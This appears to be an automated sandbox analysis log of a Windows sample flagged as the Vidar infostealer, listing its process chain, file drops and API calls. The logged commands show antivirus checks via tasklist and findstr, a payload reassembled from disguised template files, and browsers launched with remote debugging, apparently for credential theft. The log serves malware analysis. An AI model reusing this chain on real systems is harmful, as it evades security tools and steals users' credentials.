Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		13_2_00D0F20D

Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\OutstandingSpider	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\TeMatched	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\ArrangementsDark	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\EstimateLargely	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\FlowerAbroad	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\LancasterFocused	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\DesperateInserted	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File created: C:\Windows\TakeEmphasis	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC8017	13_2_00CC8017
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CAE1F0	13_2_00CAE1F0
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CBE144	13_2_00CBE144
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CA22AD	13_2_00CA22AD
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC22A2	13_2_00CC22A2
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CDA26E	13_2_00CDA26E
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CBC624	13_2_00CBC624
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D2C8A4	13_2_00D2C8A4
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CDE87F	13_2_00CDE87F
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CD6ADE	13_2_00CD6ADE
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D12A05	13_2_00D12A05
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D08BFF	13_2_00D08BFF
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CBCD7A	13_2_00CBCD7A
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CCCE10	13_2_00CCCE10
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CD7159	13_2_00CD7159
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CA9240	13_2_00CA9240
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D35311	13_2_00D35311
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CA96E0	13_2_00CA96E0
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC1704	13_2_00CC1704
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC1A76	13_2_00CC1A76
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC7B8B	13_2_00CC7B8B
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CA9B60	13_2_00CA9B60
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC7DBA	13_2_00CC7DBA
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC1D20	13_2_00CC1D20
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC1FE7	13_2_00CC1FE7

Source: C:\Users\user\Desktop\random.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: String function: 00CBFD52 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: String function: 00CC0DA0 appears 46 times

Source: random.exe

Static PE information: invalid certificate

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 13.2.Rna.com.3f70000.2.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76

Source: random.exe

Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: mycj5f.13.dr

Binary string: #WriteOfflineHivesTerminateSetupModuleds\security\cryptoapi\cryptosetup\cryptosetup.cDCryptoSetup module terminatedCryptoSetupNewRegistryCallBackCryptoSetup EntropyWrite given invalid event typeCryptoSetup EntropyWrite given invalid event data sizeWriteEntropyToNewRegistryCryptoSetup failed to get Ksecdd entropy %08xRNGCryptoSetup failed to open system hive key %08xExternalEntropyCryptoSetup failed to write entropy into the system hive %08xCryptoSetup failed to close system hive key %08xCryptoSetup succeeded writing entropy key\Device\KsecDDWriteCapiMachineGuidCryptoSetup failed get entropy from ksecdd for CAPI machine guid %08x%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02xCryptoSetup failed to convert CAPI machine guid to string %08xMicrosoft\CryptographyCryptoSetup failed get open/create reg key for CAPI machine guid %08xMachineGuidCryptoSetup failed get write CAPI machine guid %08xCryptoSetup assigned CAPI machine guid "%s"

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@86/306@29/23

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D141FA GetLastError,FormatMessageW,

13_2_00D141FA

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D02010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		13_2_00D02010
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D01A0B AdjustTokenPrivileges,CloseHandle,		13_2_00D01A0B

Source: C:\Users\user\Desktop\random.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D0DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

13_2_00D0DD87

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D13A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

13_2_00D13A0E

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\FQZBN58Y.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03

Source: C:\Users\user\Desktop\random.exe

File created: C:\Users\user\AppData\Local\Temp\nst256B.tmp

Jump to behavior

Source: random.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\random.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000014.00000002.2055536049.0000625402756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 2vkxl68gd.13.dr, 2dtjmy58g.13.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: random.exe	Virustotal: Detection: 57%
Source: random.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\random.exe

File read: C:\Users\user\Desktop\random.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\random.exe "C:\Users\user\Desktop\random.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 190244
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Highest.potm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Region" Automobiles
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 190244\Rna.com + Trials + Tour + Auditor + Indices + Interests + Bk + Not + Assessment 190244\Rna.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Contributing.potm + ..\Cm.potm + ..\Contents.potm + ..\Templates.potm v
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\190244\Rna.com Rna.com v
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2208,i,10478482066772228457,1035820656052212650,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2352,i,3734706409516677699,14857911372250155184,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6736 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6420 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:8
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 190244	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Highest.potm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Region" Automobiles	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 190244\Rna.com + Trials + Tour + Auditor + Indices + Interests + Bk + Not + Assessment 190244\Rna.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Contributing.potm + ..\Cm.potm + ..\Contents.potm + ..\Templates.potm v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\190244\Rna.com Rna.com v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2208,i,10478482066772228457,1035820656052212650,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2352,i,3734706409516677699,14857911372250155184,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6736 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6420 --field-trial-handle=2004,i,9340215945778506151,10274725775234370290,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\random.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
